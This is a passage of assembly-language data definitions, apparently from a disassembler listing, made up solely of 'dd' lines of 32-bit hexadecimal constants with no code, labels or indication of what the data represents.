0B38BBEE8h, 3D050CF7h, 1FC05D8Eh, 0BA69219h dd 0DCFBACF2h, 0D25BE9B8h, 917BBD45h, 0D41B89B7h, 89079884h dd 0C608ECCCh, 210B2A52h, 76C9C88h, 12047189h, 356DC807h dd 0CF592EEEh, 5BB049E5h, 6D741570h, 11A1D59Fh, 457D692Ah dd 0E98BEF25h, 5E9D9C33h, 0FCB8C4A7h, 0EB7380BBh, 0F6FD1936h dd 0D5706A81h, 0DB44CC9Ah, 0F70B749Fh, 0A5AECC44h, 102B6DE1h dd 9DEAC13Eh, 27BF00FBh, 0EB94D1Ah, 0C11D575h, 13D7A3A7h dd 877E9D2Ah, 0CDF80E3Eh, 0D19F87FBh, 57625077h, 0A4B10877h dd 1F919CF8h, 19199A90h, 18F834E6h, 95BF0838h, 7CFC1919h dd 0C4C74C00h, 20615A63h, 3E3C89E1h, 1987DCC5h, 2025777h dd 0DA883A00h, 3C017C3Ah, 0AB2C5B54h, 25585EE5h, 0E93AB494h dd 0EAEE807Dh, 9AC54185h, 4B25F85Ch, 0FD40A06Fh, 0C9EE1A57h dd 9F4B4282h, 9098AF12h, 8C53BE25h, 13370BF9h, 0C3F46CAEh dd 10DE3095h, 65CE0B74h, 0D96DCD82h, 7F708815h, 89A70B79h dd 0DB1B7D17h, 1B7DA5CCh, 25E9504Dh, 6C1E86ADh, 0C12531A0h dd 1F59A23Dh, 0A60822B8h, 0FA18F4B8h, 0D545C564h, 832457E4h dd 1F53819h, 5C073E74h, 0EC4AC57Bh, 47A1C363h, 911DF422h dd 6E8E0084h, 0A8C8B0A0h, 1D925A77h, 0F476B337h, 4A3D071Eh dd 0C6481CA2h, 0A5912A4Fh, 0C010C3A5h, 0B0F30EA1h, 13999D0Fh dd 0DD7F98FDh, 0DD20858Fh, 5B82BAB5h, 0D8A0E93Fh, 3C537D56h dd 25F48D3Eh, 398450C9h, 62D4ED5Ah, 0B986FB32h, 0EB7D61D7h dd 19301111h, 2F58E8F6h, 2C94E56Bh, 0BD366EFDh, 1EDEA4F3h dd 0BB4CD79Bh, 88D015C5h, 137A8F24h, 0CC52E0E0h, 0B495DC2Dh dd 4FCE3027h, 20FDC261h, 0B1101FE9h, 7595CCD8h, 371A1109h dd 3E4CF513h, 33BFF285h, 0D375CFFDh, 9D02E680h, 32248E97h dd 0FE865E37h, 848DABh, 5AD5A0D9h, 23105E53h, 0E0824640h dd 255E173Bh, 9742BE2Fh, 0BB405680h, 90A63F43h, 385855A3h dd 0AFDDFBFAh, 0A42B5F12h, 5E8CD08h, 0A8660942h, 9789145Fh dd 2E7FFA1Eh, 5CDF4E46h, 0E136DE36h, 17B371B1h, 0FB4A8534h dd 56BC027Eh, 3946697Bh, 72BF865Ah, 0E5366A09h, 0A051495Dh dd 69C55A8h, 0FFEA85C3h, 91284CC7h, 0A7C62571h, 2F3317BCh dd 85027363h, 0C863D323h, 0F4D112E7h, 0AA3D1507h, 9EBB8C95h dd 24D75D7Fh, 362CEA12h, 0DBA8E762h, 445F1085h, 0E59421E0h dd 0B470ECE2h, 10F2244Ch, 74183BD2h, 6B0E96D3h, 447F15CDh dd 8398761Ah, 9A24C81Bh dd 5F4A36EDh, 58604D5Bh, 0BA460EA6h, 11A13C64h, 159B6DE7h dd 0A51CE1E5h, 79F11402h, 437CA289h, 7FCD3551h, 0C067EEFCh dd 83D4B67Eh, 0B400F1D0h, 14CD2CE0h, 3E77593Ah, 61AEB55Ch dd 0B3821AD0h, 59C1C25Eh, 30938352h, 33516169h, 4711B81Eh dd 5134EAB5h, 3232A9F5h, 3BAFD2F6h, 6D5F8EDEh, 0CB4F9F26h dd 2678D839h, 60381D04h, 20F1E1C9h, 831D6F15h, 9DEEE65h dd 6254AE81h, 0D0D7A764h, 3699942Eh, 0BC0644AAh, 0DAF50D31h dd 0DF69DB0h, 54DA1AC7h, 5487DE8Eh, 9749B072h, 4FE77454h dd 6CBA613h, 9B9E19DAh, 0B90A9F2Bh, 17056EBBh, 0DA836301h dd 0C60A6687h, 0E1C572C9h, 0BBBE1928h, 0CA1E331Ah, 7FBC5883h dd 0D3E18B50h, 78E0C840h, 8D7903h, 77E6DDF9h, 1691EB3h dd 88A66D45h, 0AF556503h, 94F2A7FFh, 6116A4B9h, 0A2E80EDAh dd 0FC319C75h, 861310D5h, 3D1349E5h, 2A4A1022h, 0D732CC9Ch dd 803806B9h, 674EEE49h, 0A2068C3Dh, 3D52F1D8h, 0AEF367F9h dd 0A97E6DB0h, 14F0303Bh, 3439897Fh, 0F4B7EE0Dh, 6FB7640h dd 2A6B9ACFh, 7902F64h, 1590B8Eh, 68F397C9h, 0C2C41956h dd 0A68C7C88h, 0C7ABB25Ah, 1B62CFEFh, 18A2A1EBh, 32CD6F3Ah dd 0A6440144h, 656682CCh, 0DE3FCF16h, 2CB94432h, 73A2A7A5h dd 0FA7A89D9h, 8993A082h, 1F497F0Ch, 4841576Fh, 14C7600Bh dd 9D0D7580h, 55922F78h, 0D8C9467Fh, 0DB54A496h, 7AD2B19Bh dd 0DF5BAD48h, 9825B60Ch, 39E429C6h, 0FD81B7A3h, 471731BEh dd 210C9011h, 51CD0ACFh, 489A57C7h, 0AF379BB6h, 7E66CB5Ah dd 57A4AE77h, 0DE4CC817h, 52A03103h, 20109361h, 146A423h dd 9F7774A0h, 80ABACDCh, 312EB166h, 0C9B42BD9h, 0EBCB349h dd 0F885A163h, 0D649564Fh, 37FA4C1Bh, 216534Eh, 742424AEh dd 4410299Ah, 433671F4h, 0DBC6EF56h, 85366649h, 0BCA4DB9Dh dd 8D773224h, 946DEF08h, 0BAB5F16h, 0BE57C91Ch, 0E58E2324h dd 0CD22634Eh, 0C51BD2C4h, 9BAAAA95h, 0B202EC64h, 9F007F49h dd 9C67A5C5h, 0ECC10662h, 1E9E3CD2h, 991C4530h, 70C16587h dd 9FAAFE0Ah, 0BD05415Fh, 5A9D7922h, 0A51D181Bh, 661C39D2h dd 0F3B6DB3Fh, 8DEACD8Eh, 91AACCDBh, 103FFD2Bh, 0FC4DCC89h dd 179888D2h, 505F5EE0h, 2A3B754Eh, 0C6FCECCh, 0B028C6C0h dd 9139E103h, 1F5006Ch, 0F7FAF0A5h, 0C46FAA9Bh, 571F5521h dd 0CBD0CD15h, 358641E3h, 30671192h, 813AC725h, 0FA03192h dd 2935627Dh, 948B2FFDh, 0DED9908Dh, 0B2D17382h, 0D556A61Fh dd 0EB727B5Eh, 7EAB2496h, 4BD41E70h, 0EB53D56h, 4A2ED745h dd 273B74E2h, 1B03F8h, 0EAD0BD45h, 0A74B592Bh, 8DF4505Dh dd 3F2B668Eh, 5FB6C69Eh, 0E403A2B3h, 68A34FCAh, 2CF611B1h dd 2E0D4176h, 34133144h, 10D13086h, 0EB763295h, 76AE2A4Ah dd 7AB79864h, 2FBA253Fh, 0DE2BD24Eh, 430E84C6h, 906F4D2Ah dd 24A8DD33h, 0BF8B33CFh, 34C3D738h, 0D4898D81h, 0E525B0BCh dd 0C5F97A6Ah, 0DC587D8Fh, 6D4CDDE2h, 0CCC1D37Ah, 7B27B00Eh dd 0CD3921A9h, 2B1FE5EFh, 9AA70C3Fh, 1CEF6047h, 3B233490h dd 0C186070Eh, 140DC1DCh, 0A77E5E98h, 0FC682213h, 0B52887BCh dd 0C16B1BD9h, 41520A26h, 213F5FA8h, 417A8D81h, 27DD73DEh dd 0BE17F29Fh, 539801CBh, 866B436Fh, 334AEF95h, 9CD8AB68h dd 0BA05388Dh, 8871F66Dh, 7132E1F2h, 1E09550Ch, 0CB0D1E19h dd 0EDF51E37h, 0DC555FC3h, 0F280CEFAh, 0C22C0A83h, 0E4E4D95h dd 4D7A1F8Eh, 0EF41EDC2h, 0FF3BDC92h, 8AFCF1DBh, 66C6B67Eh dd 26E57463h, 0F1A7F362h, 7C87779Dh, 6EE7228Ch, 0D063091h dd 0EDB5DB26h, 1BFE3829h, 8B0D764Fh, 0EFA4F1BFh, 393C3459h dd 0AB70DCB2h, 2B9E403Ch, 75354968h, 0BCA53CE4h, 0D588C8EAh dd 7737EC56h, 3C68DEFAh, 0E454B3F6h, 59943D0Bh, 0AE138EDAh dd 0D9D98DEEh, 0FB8CBCA6h, 0A45437A4h, 6FE579C2h, 1EC7A298h dd 9CC8F54Bh, 0C55E136h, 5794CB38h, 3F1C7A6Bh, 6C2C3C03h dd 13F308EBh, 22D7EFAh, 88CD6366h, 0BD827625h, 8E6A731Fh dd 8E89007Eh, 7ADCE8A3h, 551CCF42h, 9CCC9E1Eh, 0C1C854DFh dd 74BD3F5Fh, 7ED847E2h, 1096F697h, 8AD20A3h, 0C73CE92Dh dd 0C69D6F07h, 18F62F40h, 14794EDCh, 0B222C786h, 8C80628Fh dd 66CFA440h, 69D23CFBh, 0E4AFA189h, 0A84B8FE7h, 0A38F9E02h dd 0C138BA2Ch, 0DFA2EDFDh, 4D34135Fh, 0C7299113h, 45CF7E6Dh dd 0FA318925h, 99DA164Bh, 876D0097h, 21E0C28Eh, 6DEB1EB6h dd 0CF830B34h, 0EFEF15ECh, 785DF0F1h, 0F8C1D27Ch, 0BA7FD024h dd 5EAD1A5Ah, 7024A316h, 5036AE32h, 521A95B9h, 299A6CFDh dd 3EA199A2h, 0A10F76D8h, 0F3037E6Dh, 7FBF9042h, 0C8C75540h dd 0AF45515Dh, 0EDF761Dh, 0A306D343h, 405AD608h, 9103CFF7h dd 7BD0BFC7h, 0F2DB5551h, 0E889EDB7h, 0C73FE033h, 22999E16h dd 64B06382h, 26065929h, 9FE780F4h, 0F0954EC0h, 0B93AA0A5h dd 34E119B9h, 0E5CDB30Eh, 8CED2B5Dh, 47B5668Eh, 0C7DB4B8Dh dd 0CCBEC362h, 284003C0h, 0FBEFD120h, 9C6F7E58h, 0B8563D9h dd 0EFB29583h, 0E69A7CC1h, 7FBA5095h, 2EA83214h, 2A4C3ECBh dd 6904E6F0h, 15A1EC66h, 1DC051F6h, 7DA6241Eh, 0E36D769Dh dd 9D6117A2h, 0D4A008DCh, 0A424C5C4h, 9C7DCCFCh, 179B5676h dd 0FA42F65Dh, 7FA76BBFh, 25096FB0h, 5FD84FFBh, 0C34228E8h dd 1ABF1798h, 0F40CC00Bh, 7F07CB4Bh, 0F832ECCBh, 38C7D723h dd 6A944F73h, 58B01F55h, 9565D0A8h, 0E7CA53Fh, 0DD7C6BC3h dd 0B87D988h, 244D30Ch, 0A61A68D9h, 1B2DCC73h, 6A2E4BC8h dd 0AB21D8A9h, 0E11E12EDh, 87EA64D1h, 98320AF5h, 0E06C26D2h dd 0A29D58BDh, 9EB5A4B4h, 0B7EA9906h, 2F55CC57h, 334240F6h dd 0F3DCEF0Dh, 0FE3E2AFFh, 0B787B1A2h, 135934D8h, 0EE7114FEh dd 0D17B0F8Bh, 614C5CCh, 0ACEF6A4Dh, 5859841Ah, 5B711150h dd 280FD0E1h, 2ABAA925h, 91039AA2h, 40851CC2h, 874580ACh dd 6D834569h, 35A85135h, 478143DBh, 0C714B294h, 456A307h dd 0BA23FA63h, 86411219h, 88EF30D5h, 0D59C12F1h, 3BFCAA0Fh dd 511AC173h, 48E257A0h, 7D9C323Ah, 4DD5C3Ch, 1D1A26FBh dd 71FEAD3h, 3073F9E9h, 1BF3B433h, 72D25D65h, 3CBBAB0Eh dd 0F8A22EBh, 24FE65F2h, 1A7CC30Eh, 4DA83697h, 257E8C2Ch dd 4AFA5728h, 4C483B17h, 7FA224FEh, 709EC315h, 566065ABh dd 4C90B3h, 0E22664DCh, 9BA4A35Eh, 52D0AA9h, 3BFE314Ah dd 0CCFA816Ch, 0E71555B1h, 3021D667h, 69C1E99Fh, 0B5BF2A50h dd 6213172Ch, 19246EAFh, 98DDDB7Ch, 0F3DF2FB3h, 0C4F115CBh dd 1D7AB0A2h, 94FF2DACh, 33E76C17h, 5A31E760h, 4163558Ah dd 9754C641h, 53FEC65Bh, 0CD0A336Ah, 409A2CF0h, 0D7692A83h dd 975A7BCDh, 0ADF803FEh, 0E876C6D8h, 9AF91A83h, 328FACA7h dd 0E38684FAh, 0AF335C69h, 0E038E9ADh, 0D8CB3B9Fh, 1D70126Eh dd 2493D4F7h, 0BB7B612h, 0E0B1AFAh, 0F06C564Ch, 303BC80h dd 44FF8B5Ch, 0EE891CD7h, 4E48E73Dh, 0EB18280Dh, 5124B9BEh dd 0B56FB82Dh, 0CA4964Dh, 0E341FB50h, 88493346h, 2C2CBD28h dd 577CD2B6h, 9B165F83h, 2AFCE9D9h, 243DEFC9h, 79FEE2FDh dd 0AD9F0B4Ah, 3C8CF1B9h, 8AB0FC58h, 0DC542B4h, 4B11E7AAh dd 0FF01A57Fh, 2394CA47h, 0E6E6B6F1h, 963ED64Bh, 37E4184Fh dd 388A037Fh, 0AA6C7981h, 2FCCD04Dh, 0FDAE79F0h, 6D3E1293h dd 239BBBC2h, 0BFF8E0B3h dd 5F510CD5h, 0C8F5F561h, 0EA8832C6h, 792EC1Bh, 0D1D43DB2h dd 2B1BA53Ch, 7985F0F6h, 0DA47CF65h, 16928FA5h, 0CF91F456h dd 0EE27240Dh, 0B94DA91h, 37F5A5BFh, 0FB605206h, 0E47ED395h dd 0B43A5095h, 850849D3h, 3292F0B3h, 752398B4h, 4BC705F7h dd 12181892h, 0A3447487h, 0F14E5966h, 623FD345h, 392A9124h dd 109482A1h, 0C12A0EE1h, 49D46E42h, 86E57E90h, 4D626704h dd 448817Dh, 4C6CB48h, 0B9CB7216h, 18C263C2h, 233EB32h dd 21098B2Dh, 6FA4BA30h, 0F8B7FDD7h, 73B83833h, 0DE6083BBh dd 55F91960h, 0C95CE407h, 0CCC26794h, 0EE798CBAh, 0F5F14398h dd 0C8B9AFB8h, 31628589h, 846A84C4h, 6990EAA5h, 854DA3CCh dd 0EDD8F53Ah, 0F9A055CBh, 0AB9AB868h, 341903E6h, 0ADD48AFAh dd 8E0CACBDh, 25EC8D05h, 17722749h, 0A3A10FD4h, 2664354Fh dd 40C1B9FEh, 63A6B78Eh, 59339E71h, 0DAF59343h, 8B389169h dd 0C8163EB4h, 15DC8582h, 6C06E7D1h, 0BD8B1310h, 5B6BCF5Eh dd 9D1D2A1Ch, 0C3F3E7BEh, 0B432D072h, 0E2C19F61h, 7EE527BBh dd 0A73ED217h, 370AD864h, 267D543Bh, 0E9002F0Ah, 0C7BD3E77h dd 5079D9B1h, 0B43E401Bh, 0E771FDAh, 0FF4C2135h, 0D0B9082Fh dd 0C3A41FDAh, 46CD12F8h, 0CC9A6FE6h, 81495536h, 0BE803BD6h dd 6FA9A90h, 0A116E82Ah, 2C358E3Eh, 43BAAD11h, 9BB6C64Eh dd 5044E2DBh, 0A79711C3h, 6542DB5Ch, 4E45ED7Bh, 0B6B55902h dd 92A6C69Bh, 9BCB2519h, 943B094h, 9C9651EEh, 385A0548h dd 0C7AFE064h, 86DA0FD7h, 89DA4009h, 0FFECB670h, 0E3E6FAECh dd 4FB78DB8h, 0E5E88715h, 0A4635DC3h, 8B13D126h, 0A69F0CB0h dd 101E1BF4h, 273D8D47h, 0B7872FABh, 4436DAF7h, 312FA43Eh dd 31E3D8FBh, 0AAAC5FFEh, 0D802B602h, 0CDEF902Ah, 0F643DC74h dd 0DB8522BEh, 336E109Ah, 0E11B1141h, 207F8CFBh, 0FE7A29C3h dd 5174B75Ch, 206A26F0h, 2E381394h, 4FB18AA3h, 1EF4EC24h dd 2CE8F9BFh, 4D3E31DCh, 0C0DB6D63h, 2D39E66Bh, 8FB24BF1h dd 3EB4BDD3h, 0ECDE7709h, 0AD42DAA8h, 0E965F0ECh, 0E658437Ch dd 146842D5h, 0E3AB2B9Ah, 0A69A3904h, 0B5C6F229h, 0B0D333AFh dd 0B94E8A59h, 8A57392Bh, 0E7AB6702h, 0CD9DE340h, 0D1DD3AB7h dd 0E2D36B4Ch, 7C2FB634h, 8AAC96D2h, 9CCD13CAh, 722EE736h dd 0E314575Dh, 9F7950C4h, 20CF28B7h, 0A85FFEC5h, 0CA67AE55h dd 0C6F5FAC8h, 0D9D42F4h, 0CA39DC8Ah, 900D14D8h, 8B145BEDh dd 0A898390Fh, 356AA21Eh, 752239A8h, 5ADAB8B8h, 6A84D390h dd 0D6DB98ECh, 6960F0CFh, 0F2C3F34Dh, 599C3FB8h, 0D7E61925h dd 169A40DEh, 0E206296Dh, 0B4C52ECFh, 88F053E5h, 8B2C477Fh dd 0FF723A1Ah, 331A14BCh, 76DB68D7h, 9100A18Fh, 0E5683793h dd 2F5D695Eh, 619D2353h, 0C9D1B4CCh, 0ECF9460Fh, 1A6215D3h dd 0A7E67DBh, 9CE0B622h, 0D3746147h, 315220B4h, 0E74EC36h dd 7C24256Eh, 0A01791EFh, 16762051h, 35D5451Ah, 1FEF990Bh dd 9E72D38Ch, 498B1053h, 0AD881C42h, 13AAB34Dh, 0F01C6076h dd 2A04A8C4h, 73D7DDC6h, 0AAECA3E9h, 0D4EE02B8h, 5E8E0604h dd 199C77BCh, 7CCA1BBh, 0D0072E1Ch, 17C639E3h, 6B91CABCh dd 904674D7h, 2BF34A57h, 45FD22EBh, 0BCE5F448h, 2C7B9179h dd 8BEB3C47h, 6CF7B4BAh, 95C85884h, 0CF94F4C9h, 8B19A2A1h dd 1ED8B41h, 5F885E8Bh, 47A866E5h, 0FA275D84h, 0A14C6EE3h dd 0F7767567h, 2C765924h, 830509DFh, 0C6D84ACh, 26620687h dd 0AA2579CCh, 63FD5CDAh, 0D9A393DFh, 977E88ADh, 6FFF47B4h dd 64EDE4C5h, 18CA5B94h, 4016AFDFh, 0EF78B97Ch, 1EFD47F0h dd 0EB33678Bh, 3690A8E1h, 3C67D91Fh, 7379D9DEh, 74ACB273h dd 58CC78AAh, 89D76321h, 44C74E5Fh, 78DB9FC4h, 0CFE88D44h dd 0A1385022h, 0F2E6CCFDh, 0A4A15741h, 0F528589Ch, 58A7089h dd 0C2089C56h, 3B99D866h, 6CD87E85h, 1C40FF18h, 97C21D80h dd 0FAEC76CBh, 0E319BF11h, 3F1100FCh, 0C57BE1A3h, 0CF18BD7Bh dd 0B68458Bh, 33A3E28Eh, 0E785A35Ch, 0C86760Fh, 0E24A43EEh dd 0F29EA16Eh, 0E04A0C1h, 4E33E838h, 0D546E671h, 0DCFB8B99h dd 3DE3B8FAh, 2BAE0A9Ch, 8DB8D119h, 5CC86983h, 53F86345h dd 63937EF4h, 0C0AFAD04h, 55CB45E8h, 9CBF0B16h, 8ECD6F60h dd 913D879Ah, 0F2B56A6Dh, 0CD58FF31h, 0D5DB070Dh, 0D160EDC2h dd 0A2610DBEh, 0AA908243h, 513B7BF4h, 41674A80h, 284658E7h dd 0CFF888ECh, 678889FFh, 0ABF8CB6Eh, 0B7537D24h, 3D6B9A17h dd 0F4DE7A6h, 0D1F8ABEDh, 0CB7DD69h, 0CD1F3327h, 0AF7A37A3h dd 1E35E34Bh, 72EA9F1Eh, 0CCB249E8h, 6852B25Dh, 44015BC5h dd 2E184369h, 55F4F0EAh, 2D2FC93Ah, 2592F673h, 951340C7h dd 59875F38h, 5FD221B1h, 0CD913660h, 5FC486C7h, 6943C8B1h dd 0ED54BE7Eh, 0BB7D7CA8h, 0FC8CDF1Bh, 306E71F7h, 0C60DF5D3h dd 8F8056C1h, 8B30B2FCh, 0E942FBD5h, 86F943E9h, 82EC23EAh dd 0D453F35Fh, 501CC8D0h, 56DBB38Eh, 0DB48CD5Fh, 76615BFEh dd 374D3316h, 2B3C25E4h, 1F2B142Eh, 56DF0DFCh, 9EAE1CB5h dd 4DF5BF9Ah, 722C7457h, 91EBC8CBh, 83AD7F4Ah, 9ED542D9h dd 0A5C7A053h, 0BA8A2DCAh, 49865E5Eh, 30908A9h, 60C05D34h dd 708E57E0h, 3379F0F4h, 57F45A5Dh, 98723831h, 8DD47884h dd 0CE2779B1h, 17A37F0Ch, 816EB583h, 0D0B85854h, 0D9CE48C3h dd 95F0583Ah, 1E70F97Dh, 3E5D79C3h, 53CDFD58h, 662D428Fh dd 6FD333C5h, 15C7AEE2h, 6F8D1433h, 0C0DDFBFAh, 5DB5EA1Eh dd 0D158DF50h, 4351E4DEh, 9EC1A169h, 0EE925967h, 0E297A11h dd 3E4E3A75h, 715962CDh, 437B25B4h, 472B35E9h, 3EFFBC83h dd 0D83FF1C8h, 32732671h, 163A01DAh, 99E84543h, 8511878h dd 0F46E0F03h, 41ADC5E0h, 0C4941C68h, 1B72D61Bh, 0B551A977h dd 322521DCh, 718C2ACFh, 0C03BEEE2h, 79312955h, 4A5F397Fh dd 0C32DFCF7h, 0CD3F4CE2h, 0B5FDCA60h, 53A98BF5h, 252DFB51h dd 87A81C59h, 38CD4E8Ch, 0E39FCAA0h, 4D9E3E23h, 1A9173E6h dd 0C30FA4C8h, 0A1751A22h, 57AA995Dh, 4FDB4A03h, 7B6D17C4h dd 45D718A8h, 82744197h, 40996A03h, 38B353AFh, 6176D084h dd 0EC14C842h, 4985FA3Ch, 3D15C306h, 5E1FE32Bh, 251B949Dh dd 0A39E5279h, 765E8A2Bh, 5E5BD841h, 0CD336F88h, 4EFE6698h dd 29B28AEFh, 0E595B96Ah, 0DF0CD783h, 36A30F45h, 0C3C348h dd 6B32A215h, 60DC6932h, 0F8FB8DFh, 0BBFBF595h, 4959F185h dd 4853EA1h, 1660F849h, 3592370Ch, 60C3DE9Dh, 26540A0Bh dd 2AA7166Ah, 0F61511C9h, 340A1ECh, 58B78E97h, 17421388h dd 0D0466326h, 22A4F618h, 7FF19E5Dh, 0C963DC7h, 0BF7DBBBDh dd 3311432Fh, 1FD2147h, 4B8DC5h, 0C54B8FD7h, 82B317E3h dd 0C5A67E85h, 0FE6B7CA2h, 381B548Fh, 0BB3936C7h, 8E394CCFh dd 4B530318h, 0FCFCCDB0h, 7474FE13h, 9AD4025Ah, 0C0D0A55Bh dd 0B2731F2Bh, 3C0D03B8h, 0FD1B37A4h, 6E606A57h, 0ED7A99F3h dd 0F9559FE2h, 5587CBADh, 1E317B06h, 0AE7AB3DFh, 8A58569Eh dd 40CD9826h, 0C193EA81h, 4D28772Dh, 0F8EE68D3h, 9A7291F6h dd 23C9B032h, 0B9A4188Eh, 0BFCAFB23h, 7DFF91E0h, 0BBE9D1A2h dd 797F2232h, 0F9660891h, 73B015DFh, 0AA628C28h, 0F5C0164Ah dd 1EB2B4Dh, 0F0055E87h, 197A8E24h, 0AA86DA7Ch, 4F4A6D1Eh dd 7F4DC2D0h, 0F8389DE5h, 26089053h, 0A7E0FAD1h, 0CB19E192h dd 962572D8h, 0A03A0E0Fh dd 12F35BBAh, 0F381834Eh, 2FDF9076h, 7FD9B83Ah, 79380650h dd 0EEB2E7A5h, 8EC19E7h, 1C16406Eh, 0ECB7FD1h, 0EA4843A2h dd 4490A434h, 73137FACh, 99FDFE8Ch, 0EE3E9B02h, 0EB720878h dd 283432F7h, 6B4F53A6h, 8FA251CBh, 412F7A66h, 2BB3BDF2h dd 0CF48C9E6h, 0C4032D4Eh, 4EBF2C25h, 93E39BD8h, 14A2B2E3h dd 3043178Dh, 2214E1DFh, 0EFBF935Eh, 36F8595Fh, 8D057A1Ah dd 84F02726h, 2545A381h, 0AD6AA432h, 0A9B7FA40h, 615F448Bh dd 7FABC3FDh, 0B8FEC09Bh, 0E36CF1FEh, 93086B26h, 0B4D1FF2Ah dd 0D276015Bh, 0D6D47CB6h, 1C76D27Ch, 72DAD1D0h, 3F157F5Fh dd 0C4FF1083h, 96D18B8h, 0CEA79B48h, 0A7EE6CECh, 0AA99018Dh dd 8765F748h, 5D6FF5F1h, 42407A5Bh, 0E57E8D50h, 0B3DA0799h dd 0CCEA0847h, 7B67B622h, 380475F5h, 49013842h, 5B1C2FA8h dd 0F4CA1F09h, 2812A7Fh, 33B2B57Bh, 6497E2A6h, 1D458F8Fh dd 0C9A02066h, 0BAC4137Eh, 0F862E9A0h, 0C020CBCBh, 86241768h dd 2728FB5h, 0C1E0FD88h, 208DFD6Bh, 0F7C56A52h, 0F27165B7h dd 5919AD5Bh, 3C610B64h, 6DE24315h, 752D1ADDh, 0CD31B5BBh dd 4E667F11h, 0BE79908h, 0A627F7B9h, 9B3DF61Bh, 2E6E63C0h dd 1CC4B852h, 5F1CD1F5h, 5850405Ah, 69330118h, 5F18600Eh dd 56F220C7h, 0BFE3AEC1h, 0EF5AD242h, 0D5FB2C59h, 7557D47Dh dd 0DF598FECh, 6928EBCAh, 5839251Fh, 0EAEE159Ch, 59D12037h dd 67B81D10h, 85FE83F0h, 0C666F0C9h, 0B6A9AE59h, 806E7721h dd 7FA48430h, 8214B48h, 0B1F60CF2h, 54ABFB24h, 70DED4D0h dd 0F1264A7Ah, 5E67ED21h, 6C43603h, 73068447h, 0DD8071F4h dd 8ED3D7C2h, 0CD589004h, 4101D16Eh, 3FA80A01h, 0D0C61308h dd 273E4124h, 5BD2B764h, 41111556h, 0D6B8A31Ch, 735CD815h dd 0DB9EF726h, 0CF7D31C5h, 17B689C7h, 0E61AD72Ch, 0F37F8B6Ah dd 0B79D3755h, 0EB7155DAh, 0D81C805h, 0E8FBD420h, 0F1B5DCDCh dd 0B9440499h, 0C3C8D4Ch, 0D248EC36h, 0EC621DFEh, 31649DF4h dd 0AD579E0Ah, 724BE697h, 458AAD59h, 762728F6h, 78A60563h dd 0E444AFCFh, 1130668Ah, 3F32DB2Dh, 1C22C831h, 4AE34A5Ch dd 438D07D6h, 0A83751ACh, 0A26AEC77h, 0EF8E43BFh, 7D6CDE97h dd 73AEF4BBh, 7233041h, 45F49668h, 4DD051A7h, 0A9DAF89Bh dd 0ACD3E495h, 9062A4Eh, 499EC7D7h, 0A3D91270h, 0E5A1F569h dd 0A9F42435h, 0EB1DD663h, 92DE72BFh, 3DBD2B7Eh, 710F9F02h dd 0F3C0DAECh, 0B7A20FDDh, 0C2F5C226h, 2A0B69A7h, 977EDFBh dd 0AACCB678h, 0EAFAD0F1h, 5ABA544h, 2F96619Ah, 0B2069699h dd 1B669C51h, 0F8115157h, 0B55AA957h, 904DC828h, 5ED5C557h dd 8FF2EE5Dh, 2E2C4877h, 15911F36h, 0A671C56Eh, 93C705E4h dd 406E6640h, 91EFEB2Eh, 3F935EF4h, 5AD0D24Dh, 0A3C492D4h dd 3CDDBEDBh, 0A626AB6Bh, 474DB828h, 871AFB55h, 0C26F3782h dd 0BD24097Dh, 49978F89h, 0E3DD9944h, 0C353ACCEh, 4DF0312Ah dd 714D6053h, 0ABC17801h, 0CCB61C52h, 0C7B1811h, 0A9A0F913h dd 0AF817863h, 5F6207D5h, 0D37CD9AFh, 76DB27F0h, 942274E5h dd 6A1C6BD1h, 358727C3h, 67DB0931h, 0ECF11C15h, 0DF18BC68h dd 96964969h, 3A221730h, 0AC852025h, 0B9689B1h, 991E86ECh dd 0D6141D1Fh, 0CC11C9FAh, 1852F1BAh, 0CBDCB814h, 81AB5F5Ch dd 0BC7C87FAh, 0BBDB2737h, 0B0EDEC32h, 8012094h, 0EAAEE0B8h dd 3F7D6B9Dh, 0FC620464h, 5E3AA57Dh, 0B9F01F7Ah, 0AD9FF753h dd 339DA588h, 0B8BC02E2h, 4827C88Bh, 0EC17915Bh, 7CAF6F83h dd 0F65778ADh, 0A52AA421h, 409F04C0h, 83520D90h, 67D8E9BFh dd 6FEA27C9h, 0D56F4B5Bh, 970BDB06h, 9680CD5Fh, 0BE68F5FDh dd 0CE8B6FA7h, 566F8ACFh, 8DA83932h, 0B493D624h, 55B6D951h dd 0A17D20D1h, 24A01B44h, 0DD4E452Ah, 0F700D142h, 8D8B0A13h dd 0C04C1BD9h, 7E1F9A13h, 966F500h, 3EF9355h, 0ED28CD0Ah dd 0A5622E85h, 49C102BDh, 4F40147Dh, 0F2E30527h, 9B8EADDBh dd 0E40C57B0h, 44F3F7A9h, 0B0AF0A11h, 68709DACh, 51062DDCh dd 9C0A172Fh, 0DF9BABA7h, 24A3A832h, 0F2CFA2BFh, 162C98DCh dd 0D9071074h, 8169E796h, 0A92D95B4h, 38FF9DA8h, 0A6981B54h dd 3FA2D92Bh, 0D19F3627h, 725CF084h, 0C3A957B4h, 6A5A6CE9h dd 36DCE0Dh, 50ABFFA6h, 0F5D01440h, 0D449BDA6h, 325229E0h dd 1EBD5EC9h, 21545C70h, 0C65C72ADh, 0C50597F6h, 5E8975C6h dd 0F0EBDF66h, 4E7B1C8Ah, 0A61F5199h, 6A548332h, 0FB80FBDAh dd 0F4E6222Fh, 18743E5Dh, 38FDD41Eh, 15F74708h, 0A195A94Bh dd 0A51B906Eh, 1D3C13A8h, 8E0828B6h, 416A9190h, 4E13D5AAh dd 44AB77EDh, 55B5A2DCh, 7562B6E3h, 0ADCB02AAh, 6FFD2678h dd 0F61C487h, 0EF928BCFh, 9094D08Bh, 940B85F3h, 9B3C0729h dd 0DFB81FB8h, 5B44C654h, 43B1A2B8h, 0C55A7FC6h, 0A21F2C7Bh dd 9FDFAAADh, 57E97689h, 0DE12E622h, 60EE9712h, 26274298h dd 845FF684h, 0A732DAFh, 0FCC035B3h, 0BA3ADC60h, 3590A868h dd 0EEA256A3h, 8A8997F2h, 218E9051h, 9D391180h, 12E2E996h dd 1D7CD285h, 0D5DB8D0Bh, 296853F4h, 101CAE14h, 10D7058Dh dd 0BE97CACAh, 51EEB1F5h, 64112727h, 0BA290B16h, 57148FB5h dd 151F95DFh, 15A5A588h, 8CFF5431h, 3527D501h, 0FE8286A3h dd 37D46817h, 0F7B83FB2h, 0F38A6D81h, 5AA2FCD2h, 24CE0816h dd 0B5634839h, 1CA0A09Fh, 0A3D1CD32h, 0BE107AD2h, 0F1AD09CEh dd 2063C7A5h, 46F91D29h, 31E4BF9Eh, 0BC1D5A11h, 8B65A81Eh dd 0EA457AE2h, 0A8946A50h, 6D2A5881h, 0D5DC2E96h, 